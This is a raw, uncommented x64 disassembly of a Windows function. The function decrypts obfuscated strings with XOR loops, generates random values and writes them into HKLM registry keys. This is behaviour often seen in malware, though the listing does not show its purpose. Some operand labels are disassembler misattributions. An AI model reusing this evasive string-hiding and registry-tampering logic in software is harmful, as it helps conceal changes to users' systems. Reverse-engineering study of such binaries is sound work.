psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
mov eax, dword [0x140177050]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x30]
xorps xmm2, xmm1
movd dword [rbp - 0x30], xmm2
movdqa xmm3, xmmword [0x140176f00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x2c]
xorps xmm2, xmm1
movd dword [rbp - 0x2c], xmm2
jmp 0x1400c3f23
lea r9, [rbp - 0x30]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400c3ef0
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r10
mov r9d, r14d
xor r8d, r8d
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400c3f4e
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x60]
call fcn.14003d5f0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1504], 0xffffffff
mov dword [rbp + 0x184], eax
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, r14d
mov dword [rbp + r14*4 + 0x184], eax
inc r14
cmp r14, 0x270
jb 0x1400c3f80
mov dword [rbp + 0x180], 0x270
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x80]
call fcn.140149be4
lea rax, [0x14016f280]
mov qword [rbp + 0x80], rax
lea rax, [0x14016f0e0]
mov qword [rbp + 0x90], rax
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp - 0x30], 2
xor r8d, r8d
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x80]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x80], r14
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x98]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x98], rax
mov qword [rbp + 0x100], rbx
mov dword [rbp + 0x108], ebx
lea rdx, [0x1400593f0]
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [0x1400b0d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov byte [rdx + rax + 0x58], gethostbyname
mov edi, 8
nop word [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov edx, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c40a0
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x90]
call fcn.140089590
mov edi, 4
nop dword [rax]
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov edx, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c40e0
lea rdx, [0x140172bbc]
lea rcx, [rbp + 0x90]
call fcn.140089590
mov edi, 3
mov esi, edi
nop dword [rax + rax]
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov edx, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rsi, 1
jne 0x1400c4120
lea rdx, [0x140172bb8]
lea rcx, [rbp + 0x90]
call fcn.140089590
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov edx, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c4154
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x90]
call fcn.140089590
mov edi, reloc.WS2_32.dll_inet_ntoa
nop dword [rax]
lea rcx, [rbp + 0x180]
call fcn.14008a850
mov edx, eax
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
sub rdi, 1
jne 0x1400c4190
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x98]
call fcn.14005fb00
movups xmm0, xmmword [str.ugr_yk]
movups xmmword [rsp + 0x30], xmm0
movsd xmm0, qword [0x140173678]
movsd qword [rsp + 0x40], xmm0
movzx eax, byte [0x140173680]
mov byte [rsp + 0x48], al
mov r8d, ebx
cmp r13d, 2
jl 0x1400c432f
movdqa xmm5, xmmword [0x140176ee0]
movdqa xmm4, xmmword [0x140177220]
movdqa xmm6, xmmword [0x140176f40]
movdqa xmm0, xmmword [0x140177050]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c4222
cmp r8d, 0x19
jge 0x1400c4373
movsxd rax, r8d
lea r10, [rsp + 0x30]
add r10, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x19
jl 0x1400c4340
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r10d, dword [rbp + 0x20]
inc r10d
lea r9, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r9, qword [rbp + 0x10]
movsd xmm0, qword [str.czerRNPYuy_]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140173318]
mov dword [rsp + 0x38], eax
cmp byte [0x14017331b], 0
je 0x1400c451e
cmp r13d, 2
jl 0x1400c44e4
movdqa xmm4, xmmword [0x140177220]
movdqa xmm2, xmmword [0x140176ee0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
mov eax, dword [0x140177050]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.czerRNPYuy_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140176f00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140176f40]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140177020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rsp + 0x30]
add r8, rax
nop
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, bl
sub al, cl
add al, 0x33
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xc
jl 0x1400c44f0
mov dword [rsp + 0x28], r10d
mov qword [rsp + 0x20], r9
mov r9d, ntohl
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x10]
call fcn.14003d5f0
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x80], r14
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x98]
call fcn.14005f3d0
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x118]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rbp + 0x1510]
xor rcx, rsp
call fcn.1401482c0
lea r11, [rsp + 0x1640]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret